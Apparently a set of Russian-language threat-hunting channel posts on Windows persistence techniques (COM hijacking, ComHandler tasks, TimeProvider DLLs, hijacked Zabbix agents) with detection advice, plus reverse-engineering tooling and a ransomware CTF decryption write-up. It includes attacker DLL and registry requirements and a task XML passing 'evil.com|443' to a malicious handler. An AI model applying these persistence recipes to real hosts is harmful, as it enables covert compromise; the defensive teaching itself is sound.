Threat Hunt

В августе и сентября стартуют два курса в INSECA: 🦠 Malware analysis — освоите статический и динамический анализ вредоносного ПО. Научитесь работать в Ghidra и x64dbg, анализировать .NET-приложения, исследовать вредоносные документы и создавать детектирующие правила. Полный инструментарий для реверс-инжиниринга — от дизассемблеров до отладчиков. 🔍 Threat Hunting — получите навык проактивной охоты: анализ сетевого трафика (Wireshark, Suricata) и памяти (Volatility), работа с журналами Windows, выявление аномалий, проверка гипотез по MITRE ATT&CK и создание правил YARA/Sigma для обнаружения угроз. Курсы с практическими заданиями из реальных кейсов. threathunt_pedia - 10% скидка

⚡️ SightHouse: мост между IDA Pro и BSim ➡️ https://github.com/quarkslab/sighthouse Проблема в том, что FLIRT и BSim существуют в разных экосистемах: первая — в IDA Pro, вторая — в Ghidra. SightHouse решает эту несовместимость, позволяя использовать BSim-базы Ghidra прямо из интерфейса IDA Pro, Ghidra или Binary Ninja. SightHouse состоит из трёх компонентов : 1. Плагины для SRE-инструментов — устанавливаются в IDA Pro, Ghidra или Binary Ninja. Построены на общем Python-пакете для консистентности. 2. Frontend-сервер — REST HTTP API, принимающий запросы от клиентов и управляющий Ghidra в headless-режиме. 3. Signature Pipeline — автоматизированная система поиска, компиляции и извлечения сигнатур из open-source проектов для пополнения базы. Запуск собственного сервера: Для локального развёртывания используется Docker Compose, который поднимает frontend-сервер, Redis, MinIO (хранилище файлов) и PostgreSQL с предустановленной поддержкой BSim . Это позволяет создать полностью автономную инфраструктуру для командной работы с сигнатурами. ⚠️ Важно: SightHouse обрабатывает бинарные файлы ваших программ на сервере, поэтому рекомендуется запускать собственный экземпляр, а не использовать публичные серверы . Итог Выбор инструмента зависит от задачи: FLIRT идеален для быстрой идентификации стандартных C/C++ библиотек в известном окружении, BSim незаменим при кросс-архитектурном поиске и работе с оптимизированным кодом. SightHouse объединяет сильные стороны обоих подходов, позволяя использовать семантический поиск BSim в привычном интерфейсе IDA Pro. #reverse

FLIRT и BSim: два подхода к идентификации библиотечных функций Проблема идентификации библиотечных функций возникает очень часто при анализе ВПО. При статической линковке код библиотек физически встраивается в бинарник, смешиваясь с пользовательским, затем стриппинг удаляет таблицы символьных имён (оставляя только имена вроде sub_401000), а агрессивные оптимизации компилятора — инлайнинг, перестановка инструкций, удаление мёртвого кода — меняют его до неузнаваемости, причём в случае Go ситуация усугубляется встраиванием всего рантайма с версионно-зависимыми прологами, а в Rust порождаются уникальные копии обобщённых функций под каждый тип (мономорфизация). 💡 FLIRT (IDA Pro): синтаксический подход FLIRT работает через сравнение байтовых сигнатур. Утилиты FLAIR извлекают начальные фрагменты машинного кода из статических библиотек, вычисляют их CRC16 и упаковывают в бинарные .sig файлы. При анализе IDA сканирует эти файлы и сопоставляет байты функций с эталонными паттернами. Преимущества: мгновенная скорость, абсолютная точность совпадений, обширные готовые базы сигнатур. Недостатки: полная зависимость от версии компилятора и архитектуры. Смена флагов оптимизации или переход на другой процессор делают сигнатуру невалидной. Против обфускации и современных языков со статической линковкой (Go, Rust) FLIRT бывает бессилен. 💡BSim (Ghidra): семантический подход BSim сравнивает не байты, а поведение. Код функции поднимается в платформенно-независимое промежуточное представление P-code, из которого строится граф потоков данных и управления. Граф преобразуется в вектор признаков, и поиск выполняется через вычисление косинусного сходства между векторами . Преимущества: кросс-архитектурность (можно найти одинаковую логику в x86 и ARM), устойчивость к оптимизациям и смене компилятора. Ключевое различие: FLIRT отвечает на вопрос "эти байты совпадают с библиотечными?", а BSim — на вопрос "эта функция ведёт себя как библиотечная?". Первый подход даёт мгновенный точный ответ в стабильных средах, второй — гибкость в условиях неопределённости. #reverse

➖ Требования к DLL Чтобы DLL могла быть успешно загружена и выполнена Планировщиком заданий через механизм ComHandler, она должна строго соответствовать спецификации COM и требованиям интерфейсов Планировщика. 1. Стандартные экспортируемые функции COM: DLL должна экспортировать следующие функции, чтобы система могла с ней взаимодействовать: • DllRegisterServer (опционально): Для регистрации COM-объекта в реестре (может использоваться злоумышленником для автоматической регистрации). • DllUnregisterServer (опционально): Для удаления записей из реестра. • DllCanUnloadNow: Сообщает системе, можно ли выгрузить DLL из памяти. • DllGetClassObject: Критически важная функция. Планировщик вызывает ее для получения указателя на фабрику классов (IClassFactory), которая затем создаст экземпляр самого COM-объекта. 2. Реализация интерфейса ITaskHandler: Это самое главное требование для задач типа ComHandler. Создаваемый COM-объект должен реализовывать интерфейс ITaskHandler (определенный в taskschd.h). Этот интерфейс включает следующие методы: • Start(IUnknown *pHandlerServices, LPCWSTR data): Вызывается Планировщиком при запуске задачи. Именно здесь обычно размещается вредоносная логика. Параметр data может содержать аргументы, переданные через поле <Data> в XML задачи и имеет тип BSTR. • Stop(HRESULT *pRetCode): Вызывается при принудительной остановке задачи. • Pause() и Resume(): Вызываются при приостановке и возобновлении задачи (часто могут быть реализованы как заглушки, возвращающие S_OK). 2. Реализация IClassFactory: Функция DllGetClassObject должна возвращать объект, реализующий интерфейс IClassFactory. Его метод CreateInstance отвечает за выделение памяти и создание экземпляра класса, реализующего ITaskHandler. ➖ Методы обнаружения С точки зрения защиты, этот метод оставляет несколько характерных артефактов, которые можно мониторить: 1. Мониторинг реестра: • Создание новых ключей в ветках HKLM\SOFTWARE\Classes\CLSID\ или HKCU\SOFTWARE\Classes\CLSID\, особенно если параметр InprocServer32 указывает на нестандартные расположения (например, %AppData%, %Temp%). • Инструмент: Sysmon (Event ID 13: RegistryEvent). 2. Аудит Планировщика заданий: • Создание задач, в XML-конфигурации которых присутствует тег <ComHandler> с указанием ClassId. • Инструмент: Журналы Windows Event Log (Microsoft-Windows-TaskScheduler/Operational, Event ID 4698 "A scheduled task was created" или Event ID 4702 "A scheduled task was updated"). 3. Мониторинг загрузки DLL: • Отслеживание загрузки подозрительных и неподписанных DLL легитимным процессом svchost.exe -k netsvcs. • Инструмент: Sysmon (Event ID 7: Image loaded), с фильтрацией по имени процесса и пути загружаемой DLL. ❗️При реагировании на инциденты и проведении  Compromise Assessment важна инвентаризация всех COM-объектов в системе. На живой системе анализ выполняется по веткам HKCR\CLSID и HKCR\WOW6432Node\CLSID. При оффлайн-анализе проверяются те же разделы, но уже в выгруженных кустах реестра: системном SOFTWARE и пользовательских NTUSER.DAT. #persistence #forensics

Закрепление COM-объекта через Планировщик задач Windows Продолжаем тему с закреплением на хостах. Этот метод заключается в регистрации вредоносной DLL в качестве COM-объекта и её скрытом автоматическом запуске через действие ComHandler планировщика задач Windows при срабатывании заданного триггера. ➖ Описание метода 1. Регистрация COM-объекта: злоумышленник размещает вредоносную DLL на диске и регистрирует ее как внутрипроцессный COM-сервер (In-Proc Server) в реестре Windows. Для работы метода в реестре должны присутствовать следующие ключи (HKLM или HKCU): - HKLM\SOFTWARE\Classes\CLSID\{Ваш-CLSID}: Описание объекта. - HKLM\SOFTWARE\Classes\CLSID\{Ваш-CLSID}\InprocServer32: Значение по умолчанию (Default) должно содержать полный путь к DLL. Также должен присутствовать строковый параметр ThreadingModel, обычно равный Apartment или Both. 2. Создание задачи: в Планировщике заданий создается новая задача. В качестве действия (Action) выбирается тип ComHandler (обработчик COM). В настройках этого действия указывается зарегистрированный CLSID. <Actions Context="Author"> <ComHandler> <ClassId>{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}</ClassId> <Data>evil.com|443</Data> </ComHandler> </Actions> • <ComHandler> — именно он указывает, что задача НЕ запускает .exe, а активирует COM-объект. • <ClassId> — CLSID, под которым в реестре зарегистрирована вредоносная DLL (может быть созданной или украденной у легитимного COM-объекта — техника COM Hijacking). • <Data> — необязательные данные, которые передаются COM-объекту при активации (может использоваться как для передачи конфигурации, так и для команд управления). #persistence #forensics

Редкие техники закрепления За первые шесть месяцев 2026 года команда PT ESC IR зафиксировала ряд редких техник закрепления на скомпрометированных хостах, которые мы и обсудим в ближайших постах. 1️⃣ Zabbix Agent Zabbix Agent — это легковесная служба сбора метрик с хоста и их передачи на сервер, штатно используемая администраторами. Суть техники закрепления злоумышленников (например, группы PhantomCore) сводится к превращению легитимного агента в скрытый бэкдор. Они доставляют на хост собственный установщик (zabbix.msi) и подменяют в конфигурационном файле адрес сервера на подконтрольный C2. Ключевые поля конфигурации для атаки: • Server= и ServerActive= задают IP или домен C2-сервера для пассивных и активных проверок; • Hostname= служит уникальным идентификатором жертвы в панели C2; • ListenPort= переназначает порт (по умолчанию 10050), чтобы избежать конфликта с родным агентом; • UserParameter= является ключевым элементом, позволяя регистрировать произвольные команды ОС как метрики Zabbix; • AllowKey=system.run[*] разрешает прямое выполнение команд. Канал управления работает по нативному протоколу Zabbix (JSON поверх TCP/TLS), маскируя вредоносный трафик под легитимный мониторинг и позволяя агентам в активном режиме самостоятельно «стучаться» к C2. В рамках постэксплуатации злоумышленник через графическую оболочку Zabbix-сервера централизованно получает доступ к файлам, процессам и возможность бесшумно доставлять и запускать дополнительные скрипты на скомпрометированном хосте. Основные признаки компрометации: внезапные исходящие соединения с нестандартными портами мониторинга (10050/10051) на внешние IP-адреса и наличие в конфигурационном файле агента вызовов оболочек (cmd, sh, powershell). 2️⃣ TimeProvider Злоумышленники применяли редкую технику закрепления через механизм TimeProvider (поставщик времени Windows), соответствующую тактике MITRE ATT&CK T1543.003. Суть метода в том, что служба времени Windows (W32Time) при каждом запуске системы автоматически загружает все библиотеки, зарегистрированные в ветке реестра: HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders Атакующие создавали в этом разделе собственного поставщика: в параметре DllName прописывали путь к вредоносной DLL, а параметру Enabled присваивали значение 1. После перезагрузки ОС служба W32Time загружает указанную библиотеку в контексте процесса svchost.exe с привилегиями Local System, что обеспечивает скрытное и надежное закрепление в системе. Требования к DLL: для успешной загрузки она должна экспортировать функцию TimeProvOpen() (скриншот 1), которую W32Time вызывает при инициализации провайдера. Эта функция служит точкой входа и обычно используется злоумышленниками для запуска основной полезной нагрузки. Продолжение завтра (в следующих постах) 🔽 #ir #tips #dfir @ptescalator

Продолжаем разбирать методы закрепления в инфраструктуре. Сегодня в фокусе — нелегитимное использование Zabbix-агента и создание вредоносного поставщика времени Windows через ключ реестра Timeprovider. Zabbix можно применять по-разному: установить своего агента или заменить конфигурацию на одном из хостов в скомпрометированной среде. При этом легко не заметить потерю нескольких хостов из сотен. Кроме того, может применяться имитация протокола Zabbix во вредоносных семплах, где используется сжатый JSON с магией ZBXD Подробности — ниже. Ждём описания других методов. #forensics #persistence

➖ Методы обнаружения: • Нестандартные пути в InprocServer32 для системных CLSID (указывают не на System32). • Наличие ключа TreatAs у системных COM-объектов DLL почти всегда являются признаком компрометации, так как легитимные установки Windows его не используют для системных компонентов. • DLL, загруженные в svchost.exe или explorer.exe, расположенные вне System32 или Program Files — даже если DLL физически лежит в System32, но при этом не имеет подписи Microsoft или была создана недавно — это повод для углублённой проверки. • Неподписанные DLL, загружаемые в контексте системных процессов или указанные в COM-объекте. Вредоносная DLL может находиться прямо в System32, но при этом у неё будет отсутствовать цифровая подпись Microsoft . • Sysmon Event ID 13, 14 - отслеживать изменения в разделах HKLM(HKCU)\Software\Classes\CLSID\*\InprocServer32/TreatAs • Sysmon Event UD 7 (Image Load) - поиск загружаемых модулей по нестандартным путям. COM Hijacking - скрытная техника, позволяющая злоумышленникам закрепляться в системе с высокими привилегиями, оставаясь незамеченными для многих средств защиты. Успешная реализация атаки требует глубокого понимания внутреннего устройства COM в Windows, тщательного выбора целевого объекта и корректной реализации DLL-прокси. #forensics #comhijacking

💡 COM Hijacking Среди множества техник, используемых злоумышленниками для закрепления в скомпрометированных Windows-системах, особое место занимает COM Hijacking (перехват COM-объектов). Этот метод используется редко, т.к требует усилий при разработке DLL и привлекателен тем, что позволяет вредоносному коду выполняться в контексте доверенных системных процессов. В классификации MITRE ATT&CK данная техника имеет идентификатор T1546.015 и относится к тактикам закрепления (Persistence) и повышения привилегий (Privilege Escalation). ➖ Как работает COM Hijacking COM (Component Object Model) — это фундаментальный механизм Windows, позволяющий приложениям создавать и использовать программные объекты, реализованные в отдельных DLL или EXE-файлах. Каждый COM-объект идентифицируется уникальным 128-битным идентификатором — CLSID (Class Identifier). Когда приложение вызывает CoCreateInstance с определённым CLSID, система обращается к реестру по пути: HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32. В значении по умолчанию этого ключа указан путь к DLL, которая реализует запрошенный COM-объект. Windows загружает эту DLL и вызывает её экспортируемую функцию DllGetClassObject для создания экземпляра объекта. ➖ Суть перехвата Злоумышленник заменяет или перенаправляет эту запись в реестре, указывая путь к своей вредоносной DLL. Когда легитимное приложение (или системный компонент) запрашивает COM-объект, система загружает DLL злоумышленника, предоставляя ему возможность выполнить свой код. Существует два основных метода перехвата: • Прямая подмена — изменение пути DLL в ключе HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32 • TreatAs — cоздание ключа TreatAs в оригинальной записи COM, перенаправляющего вызов на другой CLSID, содержащий путь к вредоносной DLL Успех атаки напрямую зависит от правильного выбора цели. Не каждый COM-объект подходит для перехвата. Известные COM-объекты: • {DCB00C01-570F-4A9B-8D69-199FDBA5723B} Network List Manager (netprofm) — активируется при смене сетевого подключения, загрузки системы. • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} Shell Windows (оболочка) — открытие папок в проводнике. • {00024500-0000-0000-C000-000000000046} Microsoft Office — контекстное меню в Explorer. * {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} Immersive Shell — вход пользователя в систему. Как искать COM-объекты для перехвата можно прочитать в блоге SpecterOps. ➖ Архитектура вредоносной DLL для COM Hijacking Создание корректно работающей DLL-прокси — ключевой этап атаки. Библиотека должна не только выполнить вредоносный код, но и сохранить работоспособность оригинального COM-объекта, чтобы система продолжала функционировать штатно. Вредоносная DLL должна удовлетворять следующим требованиям: • Экспортировать стандартные COM-функции: DllGetClassObject — обязательная (вызывается системой для получения фабрики классов), DllCanUnloadNow — опционально (определяет, можно ли выгрузить DLL), DllRegisterServer / DllUnregisterServer — опционально (для саморегистрации). • Загружать оригинальную DLL (ту, которую она подменяет). • Проксировать вызовы — передавать управление оригинальным функциям после выполнения своего кода • Быть устойчивой к повторной загрузке — корректно обрабатывать ситуацию, когда DllGetClassObject вызывается несколько раз. Чтобы не привлекать внимание, вредоносная DLL часто получает имя, похожее на оригинальную библиотеку. Например, при подмене netprofm.dll злоумышленник может назвать свою DLL netprofm64.dll или разместить ее в другом каталоге. #forensics #comhijacking

Как получить доступ ко всему Документальный фильм посвящен феномену реверс-инжиниринга - искусству «вскрытия» сложных технологических систем ради понимания их структуры и замысла создателей. Как на протяжении веков, от ремесленного копирования в древности до высокотехнологичных отраслей, люди учились разбирать устройства на части. Особое внимание уделено истории этого метода в СССР и России. Приятного просмотра https://rutube.ru/video/7e2620828e9fce664b895cf0be51e0f9/?r=a

Сегодня рассмотрим один артефакт операционной системы Windows, про который очень часто забывают, хотя он содержит важную информацию для DFIR. Минидампы Windows — это не просто отчёты об ошибках, а ценные артефакты, содержащие снимок памяти процесса или системы в момент сбоя. При правильном анализе они раскрывают загруженные модули, сетевые индикаторы, хендлы на файлы и мьютексы, а также другие следы вредоносной активности, делая минидампы мощным инструментом в арсенале специалиста по цифровой криминалистике. Небольшая статья о структуре файла: https://teletype.in/@threathunt_pedia/fksdhHu4_Bz Инструмент для анализа: https://github.com/rayhunt454/minidump-parser Надеюсь, данный материал будет полезен, а инструмент позволит автоматизировать анализ мини-дампов Windows, ведь полученный JSON можно загружать в ELK и создавать собственные правила детекта. #forensics #minidump

Атаки разящей панды: как действует APT31 сегодня Доклад посвящен последним атакам APT31, направленным на российские организации. В ходе доклада слушатели узнают, какие тактики и техники использует группировка. Будут разобраны последние пополнения в арсенале злоумышленника: вариации бэкдоров COFFProxy и AufTime, инструменты с облачными C2 VtChatter, OneDriveDoor, CloudyLoader. Приходите послушать, буду рад увидеться! 20 ноября в 10:30, зал 3 https://forumsoc.ru/program-2025/

В пятницу стартует ежегодное соревнование Flare-on 12. На выполнение 9 заданий конкурса отводится один месяц. Ряд задач специально разработаны для имитации проблемных ситуаций, возникающих в практике анализа вредоносного программного обеспечения. Для подготовки изучаем архивы заданий. Успейте зарегистрироваться до 26 сентября.

От F6 был интересный кейс в виде CTF, где необходимо было расшифровать файл с именем flag.jpg[b98fe7].Darkness. Давайте разберем этапы работы шифровальщика, найдем где была ошибка в работе программы и расшифруем файл. Работу вредоноса можно разделить на два этапа: 1. Генерация ключа (Рисунок 1). Данный алгоритм генерирует криптографический ключ на основе системной информации с последующим модульным (0xEA105F1) возведением в степень 5. Следующим этапом из полученного числа генерируется последовательность 16-битных значений. Для восстановления ключа шифрования необходимо решить обратную задачу модульного возведения в степень. Нам известно число 0xb98fe7 (модульное возведение в степень), необходимо найти базу, для этого можно решить задачу перебором. import binascii def find_base(): modules= 0xEA105F1 exp = 5 for i in range(14173,0xEA105F1): a = i for j in range(0,5): a = (a ** exp) % modules if a == 0xb98fe7: return i def generate_key(i, key_buffer_size): num_words = key_buffer_size // 2 words = [0] * num_words words[0] = i % 0x10000 for idx in range(1, num_words): words[idx] = (i + words[idx-1]) % 0x10000 return words i =find_base() key_words = generate_key(i, 64) key_bytes = bytearray() for word in key_words: key_bytes.extend(word.to_bytes(2, 'little', signed=False)) result = bytearray() for i in range(0,len(key_bytes),2): result.append(key_bytes[i]) print(f"AES-256 ECB: {binascii.hexlify(result)}") В итоге получаем ключ шифрования для AES-256 ECB: 52a4f6489aec3e90e23486d82a7cce2072c41668ba0c5eb00254a6f84a9cee40 2. Процесс шифрования. Ключ шифрования мы получили, теперь необходимо расшифровать сам файл. Файл разбивается на четыре фрагмента: 0, middle - 0xa00000, middle, filesize - 0xa00000. Каждый из них шифруется отдельно. Размер каждого зашифрованного фрагмента всегда составляет 0xA00000 байт. Ошибка как раз и возникает при расчете middle - 0xa00000 (Рисунок 2). Когда файл размером от 10 до 20 Мб файл шифруется некорректно и к концу файла добавляется лишние данные, размер, которых можно рассчитать: (filesize - 0xa00000) / 2. Вычислим размер который необходимо удалить с конца файла flag.jpg[b98fe7].Darkness: (0xe6cfb8 - 0xa00000) / 2 = 0x2367dc. После расшифровываем файл в обратном порядке. И получаем флаг (Рисунок 3).

Исследование Go-бинарных файлов Golang исполняемые файлы очень популярны среди разработчиков вредоносных программ. Go компилятор встраивает код среды выполнения для различных языковых функций (например, сборка мусора, трассировка стека, отражение типов) в каждую скомпилированную программу, поэтому размер исполняемого файла Golang слишком велик. Go-бинарники имеют уникальные особенности, которые усложняют их анализ в современных дизассемблерах: отсутствие стандартного C-рантайма, своя модель управления памятью (горутины, стекы, сборщик мусора), нестандартный вызов функций - аргументы передаются через стек (не через регистры, как в x86-64 fastcall), сложная структура метаданных, которая включает. Таблица PCLNTAB - таблица используется для сопоставления адреса виртуальной памяти с ближайшим именем символа, она хранит имена функций, начальные и конечные адреса функций. Moduledata - это внутренняя структура времени выполнения, которая содержит метаданные скомпилированной программы. Она используется рантаймом Go для управления загрузкой типов, функций, GC-данных и другой информацией, необходимой для выполнения программы. Buildinfo - метаданные о сборке, включая версию Go, пути к модулям (mian, зависимости), контрольные суммы модулей. Точка входа в Golang файле расположена в функции main_main. Существующие инструменты анализа Go-бинарных файлов: 1. AlphaGolang -  это набор скриптов IDAPython, которые включает в себя скрипт для перестройки структуры Pclntab, поиск и переименование функций, исправления ссылок на строки. Устаревший инструмент. 2. IDAGolangHelper - набор скриптов IDA Pro для анализа информации о типах GoLang. В Go строки не заканчиваются нуль-терминатором, а добавляются вместе в более крупные строки. Компоновщик размещает все строки в порядке возрастания длины, а Golang индексирует их и указывает длину строки, чтобы проанализировать нужную строку. В этом репозитории есть полезный скрипт GoStrings.py для создания новых переменных из определенных строк. Вызов функции make_string(address+offset,lenth_string). 3. GoReSym - это парсер символов Go, который извлекает метаданные программы, функции, имена файлов, строки, а также встроенные структуры и типы. Современный и поддерживаемый инструмент для всех версий Go. GoReSym.exe -t -d -p /path/to/input.exe > input.json После работы утилиты будет сгенерирован Json-файл, который необходимо загрузить в дизассемблер с помощью плагинов GhidraPython, IDAPythn, BinaryPython. 4. GoReSym x64dbg - отличный инструмент, позволяет загружать вывод утилиты GoReSym в x64dbg, тем самым обогащает отлаживаемую программу символьной информацией. Для работы скрипта необходимо установить плагин x64dbg_automate в x64dbg. 5. Redress - инструмент извлекает данные из бинарного файла и использует их для реконструкции символов и выполнения анализа. Инструмент для любителей radare2, выполняется через r2pipe . Что делать когда мы исследуем исполняемый файл, собранный с помощью Garble - обфускатор кода. 1. GoStringUnggarbler - инструмент для расшифровки строк, обфусцированных с помощью Garble. По итогу работы инструмент создает пропатченный исполняемый файл. py GoStringUngarbler -i garble.exe -o ungarble.exe 2. GoResolver - инструмент анализа Go бинарных файлов, который использует извлечение символов и анализ сходства потока выполнения (Control-flow Graph). Имеет плагины для загрузки вывода работы инструмента в Ghidra и IDA. Оригинальное исследование: https://www.volexity.com/blog/2025/04/01/goresolver-using-control-flow-graph-similarity-to-deobfuscate-golang-binaries-automatically/

Поговорим о деобфускации ConfuserEx на примере вредоносного образца PhantomStealer. Основная логика расшифровки методов и структур кода в ConfuserEx реализуется в статическом конструкторе модуля (Module .cctor), который выполняется один раз при загрузке сборки. Поэтому при деобфускации необходимо сначала выгрузить сборку из памяти после расшифровки структур кода, далее воспользоваться автоматизированными инструментами de4dot-cex,ConfuserEx_Tools. 1. Определяем версию протектора (Скрин 1). 2. Открываем средоносную .NET-сборку в dnSpy, переходим статический конструктор (ПКМ->Перейти к <Module> .cctor) и ставим точку останова (Скрин 2) и приступаем к отладке (F5). 3. Открываем модуль из памяти (Скрин 3) и сохраняем его как файл с именем dumped, где в параметрах записи метаданных выбираем все галочки (Скрин 4). 4. Снимаем обфускацию с помощью de4dot, в параметре указываем обфускатор ConfuserEx. de4dot 5eb031a9_dumped.exe -p crx 5.Расшифровываем строки. ConfuserEx2_String_Decryptor32.exe 5eb031a9_dumped-cleaned.exe 6.Удаляем прокси-функции с помощью ProxyCall-Remover.exe (Скрин 5). Теперь можем проводить как статический, так и динамический анализ вредоносного образца (Скрин 6).